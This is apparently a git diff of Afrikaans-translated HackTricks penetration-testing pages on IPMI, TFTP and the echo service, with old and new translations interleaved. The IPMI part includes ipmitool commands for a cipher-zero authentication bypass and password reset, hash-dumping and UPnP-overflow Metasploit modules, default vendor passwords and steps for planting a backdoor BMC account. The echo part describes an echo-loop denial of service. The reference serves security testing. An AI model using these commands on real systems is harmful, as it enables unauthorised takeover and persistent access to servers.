**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie maak dit moontlik vir stelseladministrateurs om stelsels op afstand te bestuur, selfs wanneer hulle afgeskakel of onreageerbaar is, en is veral nuttig vir:
|
||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie stel stelselsadministrateurs in staat om stelsels op afstand te bestuur, selfs wanneer hulle af of onreaksief is, en is veral nuttig vir:
|
||||
|
||||
- Voor-OS-opstartkonfigurasies
|
||||
- Kragafskakelingbestuur
|
||||
- Herstel van stelselstoringe
|
||||
- Pre-OS opstartkonfigurasies
|
||||
- Kragaf bestuur
|
||||
- Herstel van stelselfoute
|
||||
|
||||
IPMI is in staat om temperature, spanning, spoed van waaiers en kragvoorsiening te monitor, en bied ook inventarisinligting, hersiening van hardeware-logboeke en stuur waarskuwings via SNMP. 'n Kragbron en 'n LAN-verbinding is noodsaaklik vir sy werking.
|
||||
IPMI is in staat om temperature, spannings, waaier spoed, en kragvoorsienings te monitor, sowel as om inventarisinligting te verskaf, hardeware logs te hersien, en waarskuwings via SNMP te stuur. Essensieel vir sy werking is 'n kragbron en 'n LAN-verbinding.
|
||||
|
||||
Sedert dit in 1998 deur Intel bekendgestel is, word IPMI ondersteun deur talle verskaffers wat afstandsbestuursmoontlikhede verbeter het, veral met ondersteuning vir seriële oor LAN in weergawe 2.0. Sleutelkomponente sluit in:
|
||||
Sedert die bekendstelling deur Intel in 1998, is IPMI deur verskeie verskaffers ondersteun, wat afstandsbestuur vermoëns verbeter, veral met weergawe 2.0 se ondersteuning vir serieel oor LAN. Sleutelkomponente sluit in:
|
||||
|
||||
- **Baseboard Management Controller (BMC):** Die hoofmikrokontroleerder vir IPMI-operasies.
|
||||
- **Kommunikasiebusse en -interfaces:** Vir interne en eksterne kommunikasie, insluitend ICMB, IPMB en verskeie interfaces vir plaaslike en netwerkverbindings.
|
||||
- **IPMI-geheue:** Vir berging van logboeke en data.
|
||||
- **Baseboard Management Controller (BMC):** Die hoof mikrobeheerder vir IPMI operasies.
|
||||
- **Kommunikasiebusse en Interfaces:** Vir interne en eksterne kommunikasie, insluitend ICMB, IPMB, en verskeie interfaces vir plaaslike en netwerkverbindinge.
|
||||
- **IPMI Geheue:** Vir die stoor van logs en data.
|
||||
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**Verstekpoort**: 623/UDP/TCP (Dit is gewoonlik op UDP, maar dit kan ook op TCP loop)
|
||||
**Standaard Poort**: 623/UDP/TCP (Dit is gewoonlik op UDP, maar dit kan ook op TCP loop)
|
||||
|
||||
## Enumerasie
|
||||
|
||||
|
@ -46,67 +47,68 @@ nmap -n -p 623 10.0.0./24
|
|||
nmap -n-sU -p 623 10.0.0./24
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
```
|
||||
Jy kan die weergawe identifiseer deur die volgende te gebruik:
|
||||
U kan **identifiseer** die **weergawe** met:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI Kwesbaarhede
|
||||
### IPMI Kwetsbaarhede
|
||||
|
||||
In die domein van IPMI 2.0 is 'n beduidende sekuriteitsfout ontdek deur Dan Farmer, wat 'n kwesbaarheid deur middel van **sifer tipe 0** blootgestel het. Hierdie kwesbaarheid, in detail gedokumenteer by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), maak ongemagtigde toegang moontlik met enige wagwoord, mits 'n geldige gebruiker geteiken word. Hierdie swakheid is gevind in verskeie BMC's van vervaardigers soos HP, Dell en Supermicro, wat dui op 'n wye verspreide probleem binne alle IPMI 2.0-implementasies.
|
||||
In die ryk van IPMI 2.0 is 'n beduidende sekuriteitsfout deur Dan Farmer ontdek, wat 'n kwesbaarheid blootgestel het deur **cipher type 0**. Hierdie kwesbaarheid, wat in detail gedokumenteer is by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), stel ongeoorloofde toegang moontlik met enige wagwoord mits 'n geldige gebruiker teiken. Hierdie swakheid is oor verskeie BMC's van vervaardigers soos HP, Dell, en Supermicro gevind, wat 'n wye probleem binne alle IPMI 2.0 implementasies aandui.
|
||||
|
||||
### **IPMI-outentifikasie-omleiding via Sifer 0**
|
||||
### **IPMI Verifikasie Omseiling via Cipher 0**
|
||||
|
||||
Om hierdie fout op te spoor, kan die volgende Metasploit hulpprogram vir skandering gebruik word:
|
||||
Om hierdie fout te ontdek, kan die volgende Metasploit bykomende skandeerder gebruik word:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
Uitbuiting van hierdie fout is haalbaar met `ipmitool`, soos hieronder gedemonstreer, wat die lys en wysiging van gebruikerswagwoorde moontlik maak:
|
||||
Die uitbuiting van hierdie fout is haalbaar met `ipmitool`, soos hieronder gedemonstreer, wat die lys en wysiging van gebruikerswagwoorde moontlik maak:
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **IPMI 2.0 RAKP-verifikasie Verwydering van Verwyderde Wagwoord Hash**
|
||||
### **IPMI 2.0 RAKP Authentisering Afgeleide Wachtwoord Hash Herwinning**
|
||||
|
||||
Hierdie kwesbaarheid maak dit moontlik om gesoute gehashde wagwoorde (MD5 en SHA1) vir enige bestaande gebruikersnaam te herwin. Om hierdie kwesbaarheid te toets, bied Metasploit 'n module aan:
|
||||
Hierdie kwesbaarheid stel die herwinning van gesoute gehashde wagwoorde (MD5 en SHA1) vir enige bestaande gebruikersnaam moontlik. Om hierdie kwesbaarheid te toets, bied Metasploit 'n module aan:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **IPMI Anonieme Verifikasie**
|
||||
|
||||
'n Standaard konfigurasie in baie BMC's maak "anonieme" toegang moontlik, gekenmerk deur 'n leë gebruikersnaam en wagwoord. Hierdie konfigurasie kan uitgebuit word om wagwoorde van genoemde gebruikersrekeninge te herstel deur gebruik te maak van `ipmitool`:
|
||||
'n Standaardkonfigurasie in baie BMC's laat "anonieme" toegang toe, gekenmerk deur nul gebruikersnaam en wagwoord stringe. Hierdie konfigurasie kan benut word om wagwoorde van benoemde gebruikersrekeninge te herstel met behulp van `ipmitool`:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Supermicro IPMI Duidelike-tekswagwoorde**
|
||||
### **Supermicro IPMI Duidelike Wagwoorde**
|
||||
|
||||
'n Kritieke ontwerpkeuse in IPMI 2.0 vereis die berging van duidelike-tekswagwoorde binne BMC's vir outentiseringsdoeleindes. Supermicro se berging van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` veroorsaak aansienlike veiligheidskwessies:
|
||||
'n Kritieke ontwerppunt in IPMI 2.0 vereis die stoor van duidelike wagwoorde binne BMC's vir outentiseringdoeleindes. Supermicro se stoor van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` wek beduidende sekuriteitskwessies:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
### **Supermicro IPMI UPnP Kwesbaarheid**
|
||||
### **Supermicro IPMI UPnP Kwetsbaarheid**
|
||||
|
||||
Supermicro se insluiting van 'n UPnP SSDP luisteraar in sy IPMI-firmware, veral op UDP-poort 1900, stel 'n ernstige veiligheidsrisiko in. Kwesbaarhede in die Intel SDK vir UPnP-toestelle weergawe 1.3.1, soos beskryf deur [Rapid7 se openbaarmaking](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), maak dit moontlik om root-toegang tot die BMC te verkry:
|
||||
Supermicro se insluiting van 'n UPnP SSDP luisteraar in sy IPMI firmware, veral op UDP-poort 1900, stel 'n ernstige sekuriteitsrisiko in. Kwetsbaarhede in die Intel SDK vir UPnP Toestelle weergawe 1.3.1, soos uiteengesit deur [Rapid7 se bekendmaking](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), stel root-toegang tot die BMC moontlik:
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
**HP randomiseer die verstek wagwoord** vir sy **Integrated Lights Out (iLO)** produk tydens vervaardiging. Hierdie praktyk verskil van ander vervaardigers wat geneig is om **statiese verstek geloofsbriewe** te gebruik. 'n Opsomming van verstek gebruikersname en wagwoorde vir verskeie produkte word as volg verskaf:
|
||||
**HP randomiseer die standaard wagwoord** vir sy **Integrated Lights Out (iLO)** produk tydens vervaardiging. Hierdie praktyk verskil van ander vervaardigers, wat geneig is om **statische standaard akrediteer** te gebruik. 'n Samevatting van standaard gebruikersname en wagwoorde vir verskeie produkte word hieronder verskaf:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** gebruik 'n **fabrieksgematigde 8-karakter string** as sy verstek wagwoord, wat 'n hoër veiligheidsvlak toon.
|
||||
- Produkte soos **Dell se iDRAC, IBM se IMM**, en **Fujitsu se Integrated Remote Management Controller** gebruik maklik raadbare wagwoorde soos "calvin", "PASSW0RD" (met 'n nul), en "admin" onderskeidelik.
|
||||
- Op soortgelyke wyse gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige verstek geloofsbriewe, met "ADMIN", "changeme", en "admin" as hul wagwoorde.
|
||||
- **HP Integrated Lights Out (iLO)** gebruik 'n **fabrieksrandomiseerde 8-karakter string** as sy standaard wagwoord, wat 'n hoër sekuriteitsvlak toon.
|
||||
- Produkte soos **Dell se iDRAC, IBM se IMM**, en **Fujitsu se Integrated Remote Management Controller** gebruik maklik raambare wagwoorde soos "calvin", "PASSW0RD" (met 'n nul), en "admin" onderskeidelik.
|
||||
- Net so gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige standaard akrediteer, met "ADMIN", "changeme", en "admin" as hul wagwoorde.
|
||||
|
||||
## Toegang tot die Gasheer via BMC
|
||||
|
||||
Administratiewe toegang tot die Baseboard Management Controller (BMC) maak verskeie roetes oop vir toegang tot die gasheer se bedryfstelsel. 'n Reguit benadering behels die uitbuiting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur óf die gasheer te herlaai na 'n root-skulp via GRUB (deur `init=/bin/sh` te gebruik) óf deur te herlaai vanaf 'n virtuele CD-ROM wat as 'n reddingskyf ingestel is. Sulke metodes maak direkte manipulasie van die gasheer se skyf moontlik, insluitend die invoeging van agterdeure, data-onttrekking, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter dat die gasheer herlaai word, wat 'n groot nadeel is. Sonder om te herlaai, is toegang tot die lopende gasheer meer kompleks en wissel afhangende van die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole aangemeld bly, kan dit maklik oorgeneem word deur die BMC se KVM- of seriële-oor-LAN (sol) funksionaliteite via `ipmitool`. Die uitbuiting van gedeelde hardwareressources, soos die i2c-bus en Super I/O-skyf, is 'n gebied wat verdere ondersoek verg.
|
||||
## Accessing the Host via BMC
|
||||
|
||||
## Invoering van Agterdeure in BMC vanaf die Gasheer
|
||||
Administratiewe toegang tot die Baseboard Management Controller (BMC) open verskeie paaie om toegang tot die gasheer se bedryfstelsel te verkry. 'n Eenvoudige benadering behels die benutting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur die gasheer te herbegin na 'n root shell via GRUB (met `init=/bin/sh`) of deur vanaf 'n virtuele CD-ROM te boot wat as 'n reddingsdisk ingestel is. Sulke metodes stel direkte manipulasie van die gasheer se skyf in staat, insluitend die invoeging van backdoors, data-uittrekking, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter die herbegin van die gasheer, wat 'n beduidende nadeel is. Sonder om te herbegin, is toegang tot die lopende gasheer meer kompleks en wissel dit met die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole ingelog bly, kan dit maklik oor geneem word deur die BMC se KVM of serial-over-LAN (sol) funksies via `ipmitool`. Die verkenning van die benutting van gedeelde hardewarebronne, soos die i2c bus en Super I/O chip, is 'n gebied wat verdere ondersoek vereis.
|
||||
|
||||
Nadat 'n gasheer wat toegerus is met 'n BMC gekompromitteer is, kan die **plaaslike BMC-koppelvlak gebruik word om 'n agterdeur-gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC-bestuursprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingevoeg kan word deur gebruik te maak van die plaaslike koppelvlak van die gasheer, wat die behoefte aan verifikasie omseil. Hierdie tegniek is toepaslik op 'n wye verskeidenheid bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS.
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
|
||||
Na die kompromie van 'n gasheer wat met 'n BMC toegerus is, kan die **lokale BMC-koppelvlak benut word om 'n backdoor gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC stuurprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingespuit kan word deur die gasheer se lokale koppelvlak, wat die behoefte aan verifikasie omseil. Hierdie tegniek is van toepassing op 'n wye reeks bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -126,20 +128,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
|
||||
* `port:623`
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,22 +20,22 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
# Basiese Inligting
|
||||
|
||||
**Triviale Lêeroordragprotokol (TFTP)** is 'n eenvoudige protokol wat op **UDP-poort 69** gebruik word vir lêeroordrag sonder die nodigheid van outentisering. Uitgelig in **RFC 1350**, weens sy eenvoud ontbreek dit aan belangrike sekuriteitskenmerke, wat lei tot beperkte gebruik op die openbare internet. Nietemin word **TFTP** wyd binne groot interne netwerke gebruik vir die verspreiding van **konfigurasie lêers** en **ROM-beelde** na toestelle soos **VoIP-handsets**, danksy sy doeltreffendheid in hierdie spesifieke scenarios.
|
||||
**Triviale Lêer Oordrag Protokol (TFTP)** is 'n eenvoudige protokol wat op **UDP poort 69** gebruik word wat lêeroordragte toelaat sonder om verifikasie te benodig. Dit word beklemtoon in **RFC 1350**, en sy eenvoud beteken dat dit belangrike sekuriteitskenmerke ontbreek, wat lei tot beperkte gebruik op die openbare Internet. Tog word **TFTP** wyd gebruik binne groot interne netwerke om **konfigurasielêers** en **ROM-beelde** na toestelle soos **VoIP-handsets** te versprei, danksy sy doeltreffendheid in hierdie spesifieke scenario's.
|
||||
|
||||
**TODO**: Verskaf inligting oor wat 'n Bittorrent-tracker is (Shodan identifiseer hierdie poort met daardie naam). As jy meer inligting hieroor het, laat ons weet byvoorbeeld in die [**HackTricks telegram-groep**](https://t.me/peass) (of in 'n github-kwessie in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
**TODO**: Verskaf inligting oor wat 'n Bittorrent-tracker is (Shodan identifiseer hierdie poort met daardie naam). As jy meer inligting hieroor het, laat weet ons asseblief byvoorbeeld in die [**HackTricks telegram groep**](https://t.me/peass) (of in 'n github probleem in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Verstekpoort:** 69/UDP
|
||||
**Standaard Poort:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Opsomming
|
||||
# Enumerasie
|
||||
|
||||
TFTP verskaf nie 'n lys van gids nie, so die skrif `tftp-enum` vanaf `nmap` sal probeer om standaard paaie met geweld aan te val.
|
||||
TFTP bied nie 'n gidslys nie, so die skrif `tftp-enum` van `nmap` sal probeer om standaardpade te brute-force.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## Aflaai/Oplaai
|
||||
## Laai Af/Laai Op
|
||||
|
||||
Jy kan Metasploit of Python gebruik om te kyk of jy lêers kan aflaai/oplaai:
|
||||
```bash
|
||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -23,17 +24,17 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
# Basiese Inligting
|
||||
|
||||
'n Echo-diens hardloop op hierdie gasheer. Die echo-diens was bedoel vir toets- en meetdoeleindes en kan op beide TCP- en UDP-protokolle luister. Die bediener stuur enige data wat hy ontvang terug, sonder enige wysiging.\
|
||||
**Dit is moontlik om 'n diensverleningsaanval te veroorsaak deur die 'n echo-diens aan die echo-diens op dieselfde of 'n ander masjien te koppel**. As gevolg van die oormatig hoë aantal pakkette wat geproduseer word, kan die geaffekteerde masjiene effektief buite werking gestel word.\
|
||||
'n Echo-diens is op hierdie gasheer aan die gang. Die echo-diens was bedoel vir toets- en meetdoeleindes en kan op beide TCP en UDP protokolle luister. Die bediener stuur enige data wat dit ontvang terug, sonder enige verandering.\
|
||||
**Dit is moontlik om 'n ontkenning van diens te veroorsaak deur 'n echo-diens aan die echo-diens op dieselfde of 'n ander masjien te koppel**. Vanweë die buitensporig hoë aantal pakkette wat geproduseer word, kan die geraakte masjiene effektief uit diens geneem word.\
|
||||
Inligting van [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Verstekpoort:** 7/tcp/udp
|
||||
**Standaard Poort:** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Kontak Echo-diens (UDP)
|
||||
## Kontak Echo diens (UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -41,31 +42,32 @@ Hello echo #This is the response
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `poort:7 echo`
|
||||
* `port:7 echo`
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP Poort Denial-of-Service Aanval](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
